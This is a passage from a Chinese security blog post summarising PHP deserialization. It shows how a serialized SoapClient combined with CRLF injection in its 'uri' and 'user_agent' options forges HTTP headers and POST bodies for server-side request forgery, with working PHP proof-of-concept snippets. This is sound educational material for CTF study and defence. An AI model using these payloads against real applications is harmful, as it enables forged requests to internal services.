public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}

先从手册中看soap的构造方法,可以看到有两个参数,第一个参数$wsdl用来指明是否为wsdl模式,第二个参数$options是一个数组。
当在第一个参数中指明了wsdl模式后,第二个参数是可选的,可以没有;当第一个参数设置为非wsdl模式后,第二个参数中必须设置uri和location选项。location就是目标url,uri是soap服务的命令空间

再看__call()方法,当调用类中不存在的方法时就会触发,当触发这个方法后,它就会向location中的目标URL发送一个soap请求

1
2
3
<?php
$a = new SoapClient(null,array('uri'=>'aaa','location'=>'http://20.2.129.79:7777'));
$a->a();

在vps上监听对应的端口

可以接收到一个post请求,并且SOAPAction的值明显是可控的,那么利用crlf我们就能控制数据包了

比如插入一个cookie

1
2
3
4
5
6
7
8
<?php
$a = new SoapClient(null,array('uri'=>'aaa^^Cookie: test=123^^','location'=>'http://20.2.129.79:7777'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);

$c = unserialize($b);
$c->a();
?>

但是对于POST数据包,还存在一个问题,即Content-Type的值,默认是text/xml,我们修改的SOAPAction在Content-Type的下面,无法控制Content-Type,也就不能控制POST的数据

在header里User-Agent在Content-Type前面,手册中也提到了如何设置User-Agent,我们可以在User-Agent中注入crlf,从而控制Content-Type的值

1
2
3
4
5
6
7
8
9
10
<?php
$post_data = "data=abc";
$a = new SoapClient(null,array('user_agent'=>'Mozilla/5.0^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.strlen($post_data).'^^^^'.$post_data,'uri'=>'aaa','location'=>'http://20.2.129.79:7777'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);

$c = unserialize($b);
$c->a();
//echo urlencode($b);
?>

还需要在结尾设置一个Content-Length,一方面对于post包是必须的,另一方面还能让多余的数据丢弃,不影响我们设定的值

这样就能实现soapclient+crlf组合拳攻击ssrf了


参考文章:
由浅入深理解PHP反序列化漏洞
[CTF]PHP反序列化总结
PHP-反序列化(超细的)


php反序列化总结
https://www.dr0n.top/posts/dad17cf6/
作者
dr0n
发布于
2023年2月10日
更新于
2024年3月21日
许可协议